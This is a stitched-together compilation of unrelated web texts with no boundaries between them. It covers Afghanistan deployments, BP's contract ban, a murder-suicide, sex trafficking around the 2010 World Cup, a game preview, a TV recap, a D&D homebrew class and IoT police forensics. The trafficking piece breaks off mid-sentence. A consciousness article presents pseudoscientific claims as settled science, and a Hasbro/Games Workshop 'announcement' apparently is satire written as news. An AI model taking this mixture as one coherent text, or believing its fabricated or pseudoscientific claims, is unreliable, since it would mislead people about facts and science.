The troops will mainly train and advise local forces, NATO officials say, but the deployments underscore how foreign forces are increasingly being drawn back into Afghanistan's conflict.
"At the request of the Farah provincial governor, Gen. John Nicholson (top U.S commander in Afghanistan) has authorized approximately 200 coalition members to support Afghan National Defense and Security Forces," NATO said in a statement.
"They will conduct their train, advise, assist mission for approximately one week on location."
Last year, Taliban fighters attempted to overrun several provincial capitals, from Kunduz and Baghlan in the north to Helmand in south and Farah in the west.
Afghan forces backed by coalition air strikes pushed them back on many fronts, though the rebels managed to briefly seize Kunduz city in the north and breached parts of Lashkargah city in the south.
NATO officially ended its combat mission in December 2014, but U.S forces were granted greater powers in June to strike at Taliban fighters as U.S President Barack Obama vowed a more aggressive campaign.
The U.S still has some 8,400 troops in Afghanistan.
In early December, Nicholson said the government in Afghanistan's capital Kabul directly controls about 64 percent of the country's population of 30 million, down slightly from 68 percent earlier in 2016.Ads support the website by covering server and domain costs. We're just a group of gamers here, like you, doing what we love to do: playing video games and bringing y'all niche goodness. So, if you like what we do and want to help us out, make an exception by turning off AdBlock for our website. In return, we promise to keep intrusive ads, such as pop-ups, off oprainfall. Thanks, everyone!
By Andy Na / July 1st, 2013
Following the previous article detailing Gust’s time travel-themed new RPG, Chronos Materia, Famitsu has released more information about the game’s story, characters, and gameplay. The game is supposed to be an exploration-based RPG featuring charming characters and an “Eternity Cycle System”, which makes choices and progress from previous plays useable.
Chronos Materia takes place in a world engulfed with nature, where humanity and civilization are nonexistent. Suddenly, however, some people from another world are mysteriously brought into this one, and their fates entrusted in the repeating concept of time.
Here is the cast, from left to right:
Iris is a girl with a generous heart and personality, who grew accustomed with alchemy to help people, and strives for more knowledge. She does have another side in her that lacks self-confidence, and complains about her comrades who let their guards down. She is voiced by Yuuka Aisaka.
Thyme is someone who has a heart for adventure, and uses intuition over reason; demonstrating leadership in exploring and combat, but occasionally forgetting to look at future outcomes. She likes to setting herself in motion and tends to glance at reckless people. She also happens to have a romantic mask at hand. Thyme is voiced by Tomoyo Nakamura.
Primula is a girl of determined personality. Her behavior is cool and self-confident with a strong sense of purpose, but she has a fearful and obstinate side as well. She is voiced by Yoshiko Ikuta, whose roles include Yukina Sonogi from Night Raid 1931, and Yukina Kashiwagi from Penguindrum.
Shion is an indecisive boy with a tender demeanor, who’s poor at seeing people’s real motives, and cannot change frivolous attitudes. But he is calm, and has strong analyzing skills that makes him a great bargainer. He is voiced by Shigeru Fukumachi.
For the gameplay, you use the Eternity Cycle System to utilise choices and progresses from previous plays. From coming into the nature-laden world, you acquire all memories and experiences from the property and time period. You can go back at any time to defeat monsters you haven’t defeated before, and combine items to make stronger weapons; and thanks to the Eternity Cycle System, you can keep doing this until the moment they abandon the world.
This system also allows for new areas to open under completing certain conditions; for example, players can set back time after a tree sets ablaze to defend it from ever burning, thus creating new paths to explore. From left to right, you can see the incident in the present, a soluble scenario in the past, and an outcome for the future.
As far as the battle system is concerned, not much can be said at the moment, other than it will have a lot of monsters and unavoidable battles. The combat by itself will be designed in a way that will not be tiring, and will feature plenty of animations and illustrations that will be easy on the eyes.
Here are the rest of the screenshots, featuring battle and exploration images:
Chronos Materia is announced for the Playstation Vita, and is slated to release in Japan on September 26.
Thank you Will Whitehurst for the translation.
SOURCE
About Andy Na Andy was a member at Operation Rainfall since the beginning of its campaigning days. Though something of a troublemaker at the time, he now contributes to Operation Rainfall and shares his love for all things gaming and the visual arts. His favorite games include Xenoblade Chronicles, Kid Icarus Uprising, and No More Heroes. Andy currently holds a Bachelors degree in Cinema, which he uses to pursue filmmaking.
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Like this: Like Loading...Image caption The 2010 Deepwater Horizon disaster killed 11 workers
BP has been temporarily suspended from new contracts with the US government, the Environmental Protection Agency (EPA) has said.
While it is unclear how long the ban will last, it follows BP's record fine earlier this month over the 2010 oil spill in the Gulf of Mexico.
The EPA said it was taking action due to BP's "lack of business integrity" over its handling of the blowout.
But BP said it had spent $14bn (£8.8bn) on its response to the spill.
"The BP suspension will temporarily prevent the company and the named affiliates from getting new federal government contracts, grants or other covered transactions until the company can provide sufficient evidence to EPA demonstrating that it meets federal business standards," said the EPA in a statement.
"Suspensions are a standard practice when a responsibility question is raised by action in a criminal case."
'Resolve and lift' ban
The EPA and BP both said that the temporary ban would not affect existing agreements BP has with the government.
The wreckage of BP's recklessness is still sitting at the bottom of the ocean and this kind of time out is an appropriate element of the suite of criminal, civil and economic punishments that BP should pay for their disaster Ed Markey, US Congressman
The oil giant added that the suspension may in fact be lifted quite soon.
"The EPA has informed BP that it is preparing a proposed administrative agreement that, if agreed upon, would effectively resolve and lift this temporary suspension," BP said.
"Over the past five years, BP has invested more than $52bn in the United States - more than any other oil and gas company, and more than it invests in any other country where it operates. On top of this business investment, BP has to date spent more than $14bn in operational response and clean-up costs."
Since the Deepwater Horizon accident, the US has granted BP more than 50 new leases in the Gulf of Mexico, where the company has been drilling safely since the government moratorium was lifted.
For now, BP is to be excluded from the lease of new exploration fields in the Gulf of Mexico, including some 20 million acres that was auctioned on Wednesday.
'Reckless'
Congressman Ed Markey, a senior member of the Natural Resources Committee in Congress, said: "When someone recklessly crashes a car, their licence and keys are taken away."
"The wreckage of BP's recklessness is still sitting at the bottom of the ocean and this kind of time out is an appropriate element of the suite of criminal, civil and economic punishments that BP should pay for their disaster," he added.
Deepwater disaster timeline 20 April 2010: Explosion of Deepwater Horizon oil rig, killing 11. Rig burns for 36 hours, before sinking to seabed
Explosion of Deepwater Horizon oil rig, killing 11. Rig burns for 36 hours, before sinking to seabed 30 May: Oil slick 9 miles off Louisiana coast, and US begins criminal and civil investigation
Oil slick 9 miles off Louisiana coast, and US begins criminal and civil investigation 16 June: BP agrees to put $20bn in an escrow fund to settle claims by fisherman and others whose businesses suffered
BP agrees to put $20bn in an escrow fund to settle claims by fisherman and others whose businesses suffered 1 July: The spill surpasses the 140m gallon mark, becoming the biggest offshore oil spill
The spill surpasses the 140m gallon mark, becoming the biggest offshore oil spill 8 Sep t : In a 193-page internal report into the disaster, BP accuses well contractor Halliburton and rig owner Transocean. The pair dismiss BP's claims. All three blame one another over the years
In a 193-page internal report into the disaster, BP accuses well contractor Halliburton and rig owner Transocean. The pair dismiss BP's claims. All three blame one another over the years 19 Sept: BP permanently "kills" leaking well
BP permanently "kills" leaking well 15 Dec: US launches legal battle against BP and its partners
US launches legal battle against BP and its partners 12 Jan 2011: 380-page government-commissioned report says BP's time and cost-saving decisions led to disaster
380-page government-commissioned report says BP's time and cost-saving decisions led to disaster 2 March 2012: A few days before trial was to begin, BP and lawyers for plaintiffs reach a settlement
A few days before trial was to begin, BP and lawyers for plaintiffs reach a settlement 15 Nov: BP agrees to pay $4.5bn fine to US government, two BP officials are charged with manslaughter and former executive charged with lying to authorities
BP agrees to pay $4.5bn fine to US government, two BP officials are charged with manslaughter and former executive charged with lying to authorities 28 Nov: BP temporarily banned from new US contracts
BP's finance director Brian Gilvary told investors earlier this month that the group would have to rethink its entire US strategy were a blanket ban put in place.
"How big this is depends on how long it lasts," said Phil Weiss, an analyst at Argus Research.
"It's a negative that they can't participate in (Wednesday's sale), but it's not a big concern. If it happens two times, or three times, or 10 times, it's a much bigger concern."
Pentagon contracts
The US is vital for BP, accounting for more than 20% of its global daily production. It has ploughed more than $52bn (£32bn) into US energy development projects since 2007, more than any other country BP invests in.
The UK company was the biggest fuel supplier to the US Department of Defense, which awarded it contracts valued at about $1.35bn in 2011.
BP's contracts with the US military jumped 33% over a year in 2011, according to data from Bloomberg. The group was awarded a fuel contract in May from the Pentagon while it faced mounting legal costs over the disaster.
The Deepwater Horizon accident, in which an oil rig exploded killing 11 people, caused one of the worst oil spills in history.
BP has pleaded guilty to 14 criminal charges over the accident.
The EPA is the lead agency for suspension and debarment matters regarding BP and has the authority to disbar individuals and companies under sections of the Clean Air Act and the Clean Water Act.Roy Allison Snr, 65, confessed that he wanted to kill his son’s friend in a nine-page letter sent to police and a local newspaper, before taking his own life.
In the early hours of Sunday, Mr Allison Snr, 65, stabbed Duncan Bell, 36, in the heart at the home the father and son had shared in Hetley, Orton Goldhay, Cambs, believing he was responsible for supplying Mr Allison Jnr with drugs that led to his death.
Later the same morning police found Mr Allison Snr’s body hanging at Peterborough Crematorium, where he had said goodbye to his son.
In his letter, Mr Allison Snr claims that Mr Bell drunkenly admitted supplying his son with “Ecstasy-like” drugs despite knowing that he had high blood pressure and admitted guilt for the death.
Mr Allison Snr wrote: “When I lost my son, my grief was such that I just wanted to die and join him. I was in shock and disbelief. A few weeks on, I realised no matter what I wanted, I had to do for my son the right things and put our house in order. Duncan Bell, known recently as my son’s best friend, is one of the biggest dealers of drugs in this area. Duncan caused his death.”
Mr Allison Snr claims he bought the same drug given to his son to help him to piece together what led to his death.
He added: “When the funeral was over, Duncan became his true self and talked too much…Duncan took our whole existence…and for that he will lose his life at my hand. Like he did my son, I will do to him and take it all away from him. I take my own justice.
“I believe it is right for me to rid this scum from the community...He will not have all the things he denied my son. It won’t bring my son back but the man who caused it will not walk the Earth any more.”
An inquest into the death of Mr Allison Jnr, a mixed martial arts fighter who was said to be in peak condition, was due this month but has now been delayed.
Mr Allison Snr also claims in the letter that Mr Bell was jealous of his son’s long friendship with another man, Grant Maker. He claimed that on the night of his son’s death Mr Bell forced Mr Maker to leave the house so he could not be saved.
The letter was postmarked Monday, but arrived at the offices of the local newspaper on Tuesday. The editor of the newspaper contacted police immediately but both bodies had already been found.
It is understood that Mr Allison Snr had not raised his allegations about Mr Bell with Cambridgeshire Constabulary.
Det Insp Liz Mead said: “Inquiries are continuing into the tragic set of circumstances that appear to have led to these two deaths.”
Mr Bell’s family said in a statement: “Some people make such a difference in our lives, Duncan was one of those people. By simply being who he was he made the world a better place.”
A close relative claimed Mr Allison Sr was an alcoholic and an “evil man”. He said: “He was determined to find out who gave (his son) the drugs and kill them.”Outside the Lines investigates the impact of the World Cup on the often hidden underworld of human trafficking (12:42)
Editor's note: For more than nine months, "Outside the Lines" has investigated whether the presence of the 2010 FIFA World Cup in South Africa will have an effect on human trafficking in the country. OTL interviewed dozens of sources in South Africa and around the world, including officials in law enforcement, government agencies, research institutes and advocacy groups, as well as pimps and prostitutes who will work the brothels and streets of South African cities that are hosting World Cup matches. The investigation included undercover footage, recorded from within the South African sex industry in Cape Town and Johannesburg. The reporting process led to multiple sources who said more young people have been trafficked either into South Africa from other countries or internally to work in a rapidly growing sex industry because of the monthlong soccer tournament.
CAPE TOWN, South Africa -- She agreed to meet at a safe house in Cape Town, her refuge since early February. Now 32, Jasmine (her name has been changed to protect her identity) has barely known a life outside prostitution. She said her mother, a former prostitute and drug addict, saw to that, selling Jasmine's virginity to a Japanese sailor when Jasmine was 12 or 13.
"She said she brought me into the world and she always supported me and paid for the bills and everything, and it's now my turn to give back," Jasmine said, recalling her mother's decision to sell her daughter's innocence. "It was just normal. It was just expected of me to do."
"Jasmine" is a victim of human trafficking in South Africa. ESPN
From that early age until May 2009, Jasmine worked on and off as a prostitute in South Africa, surviving what she described as the horrors that come with that life: rape, an addiction to crack cocaine and an abusive former boyfriend with whom she has a daughter.
For the past few years, Jasmine said, she has lived in fear of two German pimps who used a recruiter to lure her more than 200 miles from Cape Town to the Indian Ocean-coastal city of Mossel Bay. She said the men raped her, threatened her with beatings if she tried to escape, controlled her day-to-day movements and fined her if she left her small apartment without their permission.
Despite her most recent experience, Jasmine asked before an extensive interview with "Outside the Lines" whether she "fit the criteria" to be included in a story about the effect of the World Cup on human trafficking in South Africa.
"My perception of human trafficking was being chained to a bed, or like in a small little box, and being sent to another country, and I didn't think of it internally," she said.
According to anti-trafficking advocates, Jasmine's story is an example of what's happening with greater frequency all over South Africa as the World Cup approaches.
"That's classic human trafficking," said Tonya Stanfield, network director of Justice [ACTS], a Cape Town anti-trafficking group.
"She was told, 'You will be a sex worker, and you will be a prostitute,' but she wasn't told she was going to be a slave," Stanfield said when told of Jasmine's story.
Tonya Stanfield speaks with ESPN reporter John Barr outside a Cape Town warehouse, where police rescued five teenage trafficking victims in late April. ESPN
Stanfield's organization distills the often murky practice of human trafficking down to four core elements. Trafficking victims, Stanfield said, are tricked, transported, trapped and traded.
Jasmine said she was working as a prostitute in Cape Town when a female acquaintance told her about an opportunity to make some quick money in Mossel Bay, about a six-hour bus ride from Cape Town. Jasmine said the woman told her that she would work for a German pimp and have her own apartment right on the beach and that she could come and go as she pleased.
"I thought that she was going to be there with me, working with me, and then when we went to the bus station, she's like, 'Adios! Bye, see ya!' I never ever saw her there," Jasmine said.
"When I got there, other women told me, 'No, she gets paid' to bring women there."
Jasmine said she later discovered she'd been sold to the Germans for roughly $65 (U.S.). She said that she was stuck inside an |
fortune. It keeps negative energy away and calls on the protective presence of the Archangel Michael – make what you want of that bit I found it on the internet!
To give the gift of red underwear is to wish great fortune on the receiver and a rich and satisfying year ahead.
Of course if your budget won’t stretch to La Perla (Google it it’s gorgeous) or Armani for the Mr then nip down to your local supermarket all of whom are offering delightful sets.
Don’t stop at yourself either, the Italians kit out the entire family; grandad in his red long-johns with a wonderful cheeky smile on his face as he feels 20 years younger all of a sudden. Grandma reminiscing ‘good times’ as she secretly enjoys her big, but red, comfortable knickers and even the little people are kitted out with red undies.
So be it a red ribboned, lace-frilled corset or a simple pair of red knickers, make sure you join in too and when you see someone on New Year’s Eve with an enormous smile on their face you’ll know it’s because they’re wearing their red undies.
–Marianne Whooley
Marianne blogs at Mari’s World She is often found wasting time on Twitter @Maris_world on Facebook Pinterest and the more recently discovered Google +
Mother of 4 and grandma to 2 she is head cook and bottle washer and reigns over her half Italian – half English kingdom with a bar of chocolate in one hand and the occasional glass of white wine in the other. She will be wearing red knickers on New Year’s Eve – will you join her?
PS> DO NOT introduce her to any more social media – thank you.S&P have expressed concern about the risk posed to Britain if it leaves the EU Ulrich Baumgarten/Getty Images
Britain’s sovereign credit rating would be better protected under a Labour government than the Tories, a leading ratings agency has signalled.
Standard & Poor’s said the biggest threat to the UK’s rating was not the state of the public finances but the risk of leaving the European Union. Labour has pledged to remain in Europe, but the Tories are promising a referendum in 2017 if they win the election.
Asked whether Labour’s spending plans, which allow up to £28 billion more borrowing a year than the Tories, would jeopardise the UK rating, Moritz Kraemer, chief sovereign ratings officer at Standard & Poor’s, told The Times: “Whether it’s faster or slower, we have no strong opinion – so long as the general direction of travel is sustainable.”…PARIS (Reuters) - Former French president Nicolas Sarkozy said on Tuesday many of the faults Britain finds in the European Union are justified and the bloc will need a new treaty regardless of whether Britons vote next month to leave the EU or not.
Nicolas Sarkozy, head of France's Les Republicains political party and former French President attends a meeting in Marseille, France, April 27, 2016. REUTERS/Jean-Paul Pelissier
“On much of their criticism, the British are right,” Sarkozy told Le Monde in an interview. “The peoples’ estrangement from Europe is a major worry for all countries,” he said, while underlining that he strongly opposed Britain quitting the EU.
“But Brexit or not, we’ll need, in all scenarios, to deeply relaunch the European project, and that will have to be done through a treaty that France must initiate, from the summer of 2017,” Sarkozy said.
He did not, however, support the idea of holding a referendum on Europe in France, as mooted by another conservative candidate in the centre-right’s primaries for next year’s presidential election.
British support for staying in the EU has risen, putting the “In” campaign 15 percentage points ahead of their “Out” rivals, according to a telephone poll for London’s Daily Telegraph newspaper whose results were released on Tuesday.
Britain will hold its EU referendum on June 23.
Sarkozy also proposed setting up a group composed of interior ministers of the 19 members of the EU’s Schengen passport-free travel zone, with a stable presidency that would have authority over the EU border control agency Frontex.
He suggested this would improve political accountability and coordination across the EU in handling a migrant crisis.
He further said Europe could not trust Turkey to honour a deal with the EU to halt migration to the European continent, and that Ankara was evolving towards an authoritarian regime.
Turkey refused on Friday to heed EU demands to curb broad anti-terror laws seen by critics as a tool to stifle dissent, and said the EU must find a “new formula” to salvage the deal on migrants in return for visa-free travel for Turks in the EU.
Sarkozy, who lost power to Socialist Francois Hollande in the 2012 election, is widely expected to take part in the centre-right’s pre-election primaries.
In other comments, Sarkozy took issue with criticism by EU institutions of the conservative governments of Hungary and Poland over perceived anti-democratic practices.
“As far as I know, (Prime Minister Viktor Orban) has always respected elections’ verdict,” he said. “You can’t say there is no democracy in Hungary.”
“As far as Poland is concerned, I saw the Kaczynski brothers in power. They respected European rules, and when they lost, they left. After 50 years under the communist yoke, these countries are functioning democracies.”
The Law and Justice Party of Jaroslaw Kaczynski was returned to power in an election last October after several years in opposition. His twin brother, former president Lech Kaczynski, died in a 2010 plane crash.Well, we’re halfway through season 6A of Pretty Little Liars, and the show is as addictive as ever. These first 10 episodes have been billed as the #SummerofAnswers, and the show’s producers promise that by August, all of the questions that have haunted us since Big A stole the game from Mona will be cleared up. Since there’s a week off between episodes five and six, it’s a great time to sit back and take stock of all of the mysteries that have been solved thus far. Here’s a list of some of the questions that have been #summerofAnswered:
1. Who is A?
Charles is A.
2. Oh, cool. So, have they found Charles yet?
Nope. He’s dead.
3. So … Charles isn’t A?
No, no, no. Charles is definitely A. PLL creator and evil mastermind, Marlene King, has reassured fans on Twitter that Charles is A for sure.
4. Okay, I guess I can accept that there’s still some mystery surrounding Charles (maybe he’s a zombie, whatever). Do you think A is Jason’s twin?
Haha, probably not, since last week Aria found out that A has boobs.
5. B-b-but … Never mind. Charles is a DiLaurentis, though, right?
Yes, Charles was born fifteen months before Jason. He was the other little boy in the video Spencer saw in A’s vault in the Dollhouse, and he’s also the reason that there are barely any photos of Jason in the DiLaurentis house. Rude.
6. Did Jason know about Charles?
Parents of the Year, Jessica and Kenneth, told Jason that “Charlie” was his imaginary friend who had to go away. In reality, they sent Charles to Radley after discovering him trying to drown baby Ali in a bathtub. Basically, Jason knew, he just didn’t know he knew.
7. Sounds suspicious. Is there any proof that this whole Charles story is true?
Proof, shmoof. Mr. D claims that Charles killed himself by overdosing in Radley. The Liars found two of his patient files: One only had information that stopped abruptly when he turned 16, and the other said his organs were donated. Mixed messages. Even though Jessica told her husband that she scattered their son’s ashes, the Liars found a headstone with his name on it at Ali and Jason’s great-aunt Carol’s house. Sure, not the proofiest proof, but there’s also a chance that Lesli Stone knew Charles because she was living in Radley at the same time as him. There’s probably more reveals ahead.
8. Lesli Stone was in Radley?
Yup, and she seems to have serious rage issues.9. What about Andrew? He was acting super sketchy last season.
The only A that should be associated with Andrew stands for ARMS. He isn’t too happy with the Liars at the moment because got arrested for kidnapping them even though he had nothing to do with the Dollhouse.
10. Oh, yikes. That’s awkward. What happened to the Dollhouse?
Thankfully, the girls escaped, but they’re dealing with the trauma in their own unique ways. According to Hanna, A made them play games that seemed to pit them against each other for food, water, or deliverance from torture. Also, A cut Aria’s hair (and did a fabulous job) and kept Spencer awake for days on end until she hallucinated, possibly hurt somebody, and woke up in a puddle of blood. The verdict is still out on whether the girls remember everything that went down in that bunker – A installed trackers in each of them, but they don’t know that yet.
11. Wow, sounds like there were tons of clues about A’s identity in that Dollhouse. Did anyone search it?
Of course! The Rosewood PD walked in and found Sara Harvey, that girl who went missing the same weekend that Alison did.
12. Ah, a new character. That’s, um, great. But did Tanner investigate the whole Dollhouse, maybe get Caleb to hack A’s computer?
… No.
13. Deep breath. Moving on. How is the Rosewood PD doing?
Really well, actually, thanks for asking. Toby is still on the force (although he fell for the Andrew red herring and called Spencer “babe,” which was questionable), and he has a new partner, Lorenzo, who’s taken a shine to Ali. They shared their first kiss, even though Ali’s dad is super against her dating a cop. Not sure where her ex-boo Holbrook is – weird. Oh, and last but not least, Officer Barry Mapplethorpe got promoted to Detective. He wears a suit to work now. Yassss!
14. Rewind for a second. Sara Harvey was trapped in A’s evil Dollhouse for, like, two years. Has she told the Liars any important information?
Sara has been taking a lot of showers. She also got a pixie cut. It’s cute, you should check it out. She’s staying at Emily’s house for the time being and convinced her to get the Chinese symbol for “courage” tattooed on her hip.
15. Emily got a tattoo? But how did she do that if she’s under 18? Did Pam sign a waver? Who does she think is A? Also, who is Bethany Young? What does she have to do with this whole Charles debacle? Why was she wearing a yellow top “that night?” Where is Cece? More importantly, where is Noel Kahn? Was he getting blackmailed by Ali, or nah? And Jenna? Why were Jenna, that girl from swim team who dressed like Jenna, and Mona meeting in the woods? Do they know who’s feeding Tippi? Do they know what happened to Melissa’s baby? Is Maya for sure dead? Who killed Garrett? Who killed Wilden? Who dug up Ali’s grave? And why? Why? WHY?
¯\_(ツ)_/¯
In all seriousness, season six has been absolutely amazing (and perfectly creepy) so far. Any minute now, I’m going to get my letter from Hogwarts Radley Sanitarium, but I can’t wait to see what the rest of the summer has in store for Aria, Emily, Hanna, Spencer … and Charles. Thank you, PLL, for making Tuesday my favorite, most suspensful day of the week!
(Images via here, here, here, here, and here.)Fabricio Coloccini spent last season overwhelmed by problems in his private life and was so unhappy that, in January, he tried to force Newcastle United into selling him to San Lorenzo.
No sooner had that route back to his native Argentina been closed off by the St James' Park board than the central defender succumbed to a serious back injury. Now Alan Pardew's captain is finally fit again and seems to have fallen back in love with being a Newcastle player.
"As you know, I had personal problems," said Coloccini as he prepared for Monday night's match at Manchester City. "I spoke with my family this summer and had to take a decision. I told them I've worked all my life to have my dream of playing at the top level of football. It was a difficult conversation but they could understand that and that's why I'm here now.
"I made my decision in the middle of the holidays. I am here now and I am happy.
"My relationship with Newcastle was very important in making my decision. All the fans in the street, when they stopped me, they asked me to stay and those things sometimes make the difference.
"Newcastle is a special club for me, of course. I've supported San Lorenzo since I was small but I feel something for Newcastle now. I've been here five years and the fans are amazing. I have a contract for a long time here and hopefully I can see out that contract."
Not that his love for San Lorenzo has been extinguished. Accordingly Coloccini was delighted to discuss his old club with Pope Francis when he met him while on international duty with the Argentina squad in Italy last week.
"I knew Pope Francis was a San Lorenzo fan. He has a season ticket and everything," he said. "You could tell he still really loves San Lorenzo when he spoke with us last week. I shook hands with him. He is always speaking about San Lorenzo and so for me as a fan it was amazing."
Pardew can only hope the Pope spared a prayer for Newcastle as they strive to put last season's travails behind them by making a positive start at City, where Coloccini may find himself marking his international compatriot Sergio Agüero.
"Sergio's very good," said Newcastle's captain. "He's a good man and a fantastic player. I'm good friends with him. How we can stop him is difficult to say because he is a top player and can do what he wants every time. We may have to give him a little kick."Path of the Dæmon
Be it by birth, curse, or some other means, you have become half-mortal half-daemon. This nature calls to the rage within you and grants you inhuman power.
Dæmonic Essence
Your dual nature as a mortal and dæmon allows you to call forth the energies of the other planes to enact supernatural feats.
At 3rd level, you gain two eldritch invocations of your choice. Your invocation options are listed at the end of the path description. You gain an additional invocation of your choice at 6th, 9th, 12, 15th and 18th barbarian levels.
Additionally, when you gain a level in this class, you can choose one of the invocations you know and replace it with another invocation that you could learn at that level.
Invocations that grant the ability to cast spells that do not require concentration may be used while raging. Invocations that would use a warlock spell slot instead are cast at base spell level.
Dæmon Skin
Beginning at 3rd level, your daemonic essence bleeds forth while you rage granting you resistance to damage.
Choose a damage type:
Acid (slate gray)
Cold (ivory white)
Fire (ruby red)
Lightning (cobalt blue)
Poison (emerald green)
Additionally, your skin changes color while raging based on the resistance you choose, as noted.
Dæmon Bones
Beginning at 6th level, your dæmonic natures becomes more apparent while raging. You grow claws on your hands and feet.
Your claws and horns are natural weapons you can use to make unarmed attacks. If you hit with them, you deal slashing damage equal to 1d6 + your Strength modifier. When taking the attack action, you may make an additional unarmed attack as a bonus action.
Additionally, you gain the benefits of your Daemon Skin feature even while not raging.
Dæmon Heart
At 10th level, your dæmonic rage suffuses your body with ever greater power. While raging, your speed and jump distance increase by 10 ft. and gain temporary hit points equal to your Constitution modifier at the beginning of each of your turns.
Additionally, you gain the benefits of Dæmon Bones even while not raging.
Dæmon Soul
Upon reaching 14th level, you reach the pinnacle of your otherworldly potential. You gain resistance to bludgeoning, piercing, and slashing damage from nonmagical weapons.
While raging you gain immunity to the damage type chosen for your Dæmon Skin class feature.
Additionally, you gain the benefits of Dæmon Heart even while not raging.
Dæmon Invocation List
Invocation Ascendant Step - 9th Beast Speech Beguiling Influence Bewitching Whispers - 7th Cloak of Flies - 5th Devil's Sight Dreadful Word - 7th Eldritch Sight Eyes of the Rune Keeper Fiendish Vigor Gift of the Depths - 5th Mask of Many Faces Master of Myriad Forms - 15th Minions of Chaos - 9th Mire the Mind - 5th Misty Visions One with Shadows - 5th Otherworldly Leap - 9th Sculptor of Flesh - 7th Shroud of Shadow - 15th Sign of Ill Omen - 5th Thief of Five Fates Tomb of Levistus - 5th Trickster's Escape - 7th Visions of Distant Realms - 15th Whisper of the Grave - 9th Witch Sight - 15thIn an unusual move American toy manufacturer Hasbro has announced that it is to team up with British games and retailing company Games Workshop to produce a product that fuses two highly popular brands into one.
My Little Primarch: Heresy Is Magic will be a mini-movie that will combine Games Workshop’s futuristic civil war in space franchise The Horus Heresy with Hasbro’s popular children’s TV show My Little Pony: Friendship is Magic.
Games Workshop’s Horus Heresy is an epic space opera popularly targeted at adolescent to mid-thirties males. It features demi-gods, demons, huge spaceships and power armoured super soldiers called Space Marines. Hasbro’s My Little Pony: Friendship is Magic is an animated TV show about magical ponies who have adventures and work together and is aimed specifically at young children, but has a cult following from older fans, typically males from 18 to 35 who identify themselves as Bronies. The mix is unusual, to say the least.
The creative force behind the feature is Dave Green, who will both write and direct the show. Dave is the youngest brother of the famous Vlog Brothers Hank and John Green. Hank is an Emmy Award winning producer, musician and businessman. John Green is a New York Times bestselling author whose novel ‘The Fault in Our Stars’ was recently turned into a movie. Their brother Dave is better known for his work in the American food retail industry and seems like an odd choice. Mr Green told Starburst Magazine, “I have been a lifelong fan of both Warhammer 40,000 and My Little Pony. I have a unique vision of how this very special fusion will be created and My Little Primarch will be must see television.”
The 80-minute feature, subtitled The Horse Heresy, will use CGI to create a stop-motion effect, similar to that of the LEGO Movie, and will come out in April 2016.
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FROM AROUND THE WEB:In a recent interview on Waking Times aired on The People’s Voice Network, Dr. Eben Alexander, Harvard Neurosurgeon presents compelling scientific research in the field of consciousness that examines the unfolding reality that the brain does NOT create consciousness. Misleading concepts that focus on reductive materialism have kept us in the dark about the true nature of the human soul and its integral part in our evolution as spiritual beings.
“The old paradigm of birth to death represents an outdated concept that is woefully inadequate in defining the unfolding reality of expanded awareness,” he stated in the interview with Waking Times. “Materialist science is at the end of its days as most scientists are changing their views. The old concepts are soon to be relegated to the same dust bin as ‘the earth is flat’ as we develop a more mature understanding and transcend old beliefs.”
Supported by worldwide research that is now delving into the concepts of string theory that involves a complete reworking of our outdated and limited views of space/time means that we are now entering a phase where science will greatly expand its boundaries. The foundation of the research begins with the clear understanding of the “Soul”, or conscious spirit, that exists outside of the body and is eternal.
“Consciousness is at the core to unfolding all of reality”, states Alexander.
The brain operates the body based on input from the personality, but the higher intelligence, or subconscious, is the mechanism that controls the body, and that is the soul that we have yet to acknowledge or even begin to understand. That is the free will component that exists long after the body stops. Near-death, paranormal, mysticism, past life memories, and akashic records are now a common thread that drives home the conclusion that there exists a soul within the human body that transcends the human experience. As we acknowledge the essence of our soul, we let go of the limitations of the illusional earth-based mentality and reach out to the greater cosmos of life. Many additional realms exist beyond the earth and in other dimensions of time/space. As spiritual beings, we can easily access these places.
Edgar Cayce, the father of holistic medicine, pioneered the concept in modern times that we are indeed “spiritual beings having a human experience”, but this is only a reemergence of what our ancestors already knew.
This time on earth will be one where we all transcend the false boundaries that convince us that we are separate entities and develop the understanding of the oneness that we all share, meaning that we don’t have to be either scientific or spiritual. Merging science and spirituality creates a new foundation for our peaceful coexistence in the greater cosmos.
Read Deborah West’s columns at The New Era Times for her personal views.
References:
http://www.psychologytoday.com/blog/biocentrism/201112/does-the-soul-exist-evidence-says-yes
http://themindunleashed.com/2014/02/scientific-approach-reincarnation-journey-souls-death.html
http://www.sott.net/article/271933-Scientists-claim-that-Quantum-Theory-proves-consciousness-moves-to-another-universe-at-death
For more about Dr. Eben Alexander: http://www.eternea.org/
For more about Sacred Acoustics: http://www.sacredacoustics.com/
About the Author
Deborah West worked in corporate public relations and media for over 20 years and is currently a freelancer, reporting on a wide variety of topics including disclosure, ancient and multidimensional civilizations, the the shift in humanity’s consciousness and brings truthful reporting to topics ranging from healthcare to energy. She writes a column called Lost Knowledge at The New Era Times and has a weekly radio show called Lost Knowledge on Tuesdays 3-5pm CST. To see her articles go to: http://www.tnetimes.com/contributor/deborah_west/92/
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Thanks to what’s known as the Internet of things — the growing number of ‘smart’ devices and appliances connected to the web and each other — will be used by police to solve violent crimes.
Your fridge, law enforcement says, might help solve a murder.
However beneficial that sounds, it indicates a number of circumstances to send chills down the spines of privacy rights advocates — or anyone who doesn’t find the idea of, say, a washing machine spying on their every move.
“Wireless cameras within a device, such as fridge, may record the movement of owners and suspects,” Metropolitan Police head of the digital, cyber and communications forensics unit, Mark Stokes told The Times.
“Doorbells that connect directly to apps on a user’s phone can show who has rung the door and the owner or others may then remotely, if they choose, to give controlled access to the premises while away from the property.
“All these leave a log and a trace of activity. The crime scene of tomorrow is going to be the internet of things.”
Stokes explained detectives are already being trained to hunt for such devices at crime scenes in order to map both victims’ and suspects’ digital footprints. So many appliances and personal devices are now linked to the Internet under the premise of convenience, Stokes assessment isn’t an exaggeration.
Indeed, many privacy advocates and domestic surveillance critics — like whistleblower Edward Snowden — have long warned the consumer culture’s lust for convenience and saving time would usurp more rational goal of keeping the government’s prying eyes out of our homes.
Instead, as the Telegraph explains, in just one example,
“The new Samsung Family Hub Fridge has cameras that carry a live feed of its contents, so shoppers can tell what they need when they are out at the shop. The dates and times that people logon to the fridge, therefore could provide alibis or prove people were not were they said they were.”
Further, authorities have been working to create a portable “digital forensics toolkit” — for analyzing microchips and downloading information on the spot — so police would not be forced to remove large appliances from a crime scene for testing.
As Stokes noted, however, private corporations — the manufacturers of these devices — could create obstacles to this potential gold mine of information. Concern for customers’ privacy has, indeed, been a barrier for investigators in Bentonville, Arkansas, who have filed search warrants to obtain the information from murder suspect James A. Bates’ Amazon Echo.
